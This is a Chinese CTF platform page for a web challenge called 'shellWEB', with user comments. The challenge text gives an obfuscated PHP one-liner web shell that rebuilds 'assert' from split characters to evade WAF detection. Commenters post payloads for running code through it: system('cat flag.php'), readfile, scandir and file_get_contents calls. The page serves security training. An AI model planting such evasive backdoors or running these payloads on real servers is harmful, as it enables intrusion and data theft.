shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一  血: dotast
一血奖励: 1金币
解  决: 9259
提  示:
描  述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
评论
b2026tf 6月前

本质:字符分割拼接隐藏 assert,绕过防护 等价后门:assert($_GET['s']) 直接 ?s=要执行的PHP代码 即可利用。?s=system('cat flag.php');

回复 0

syhaisy 6月前

20702af5309ab1f70e0f7e8a81076a4e

回复 0

hualong 6月前

直接去搜索 http://171.80.2.169:12682/?s=readfile(%22flaga15808abee46a1d5.txt%22);

回复 2

dlccom 6月前

?s=readfile('/var/www/html/flaga15808abee46a1d5.txt'); 读出 flag

回复 0

咖啡牛 7月前

这个题可以看到是assert是代码执行漏洞它的作用跟eval一样,我们先调用system('ls');看网页中有什么文件,发现flag文件后,直接用system('cat 文件名');就可以了,评论区我只能说:还得是大佬用这么“高深”的解法

回复 3

kitniu 7月前

?s=system(dir),然后进入txt文件,flag{********}

回复 1

攻防小哥 7月前

flag{********}

回复 0

smartada 8月前

flag{****}

回复 0

十里故清云 8月前

?s=print_r(scandir('./')) ?s=print_r(file_get_contents(%27flaga15808abee46a1d5.txt%27)) system有可能失败,别用

回复 0

TS3Rrrr 9月前

大佬们 你们到底是怎么想到这些思路的我感觉在这做的每一道题都是在积累经验因为一个也想不出,只能看看大佬们的解题思路,如果不是只专攻ctf有其他类型的比赛是不是把这些思路更带入实战思考模式会好一点,还是说只要做的多就没有区别

回复 1
windfalls 6月前

这个提示很重要,免杀一句话木马,assert($_GET['s'])

回复 1

WriteUp

image
harry

3 金币

评分(11)

解题动态

南风 攻破了该题 8小时前
crea-tive 攻破了该题 10小时前
月落曦辰 攻破了该题 14小时前
1916176503 攻破了该题 15小时前
suoao 攻破了该题 17小时前
男大有点小帅 攻破了该题 20小时前
浅云723 攻破了该题 22小时前
淮南 攻破了该题 1天前
安全的可达鸭 攻破了该题 1天前
qinlan 攻破了该题 1天前
白说的话 攻破了该题 1天前
TOVOT 攻破了该题 1天前
inspired 攻破了该题 2天前
colaring 攻破了该题 2天前
xinyu929 攻破了该题 2天前
shooter6567 攻破了该题 3天前
Yan123 攻破了该题 3天前
HZFCMCC 攻破了该题 3天前
1234wsryv 攻破了该题 3天前
LightPing 攻破了该题 3天前
问题反馈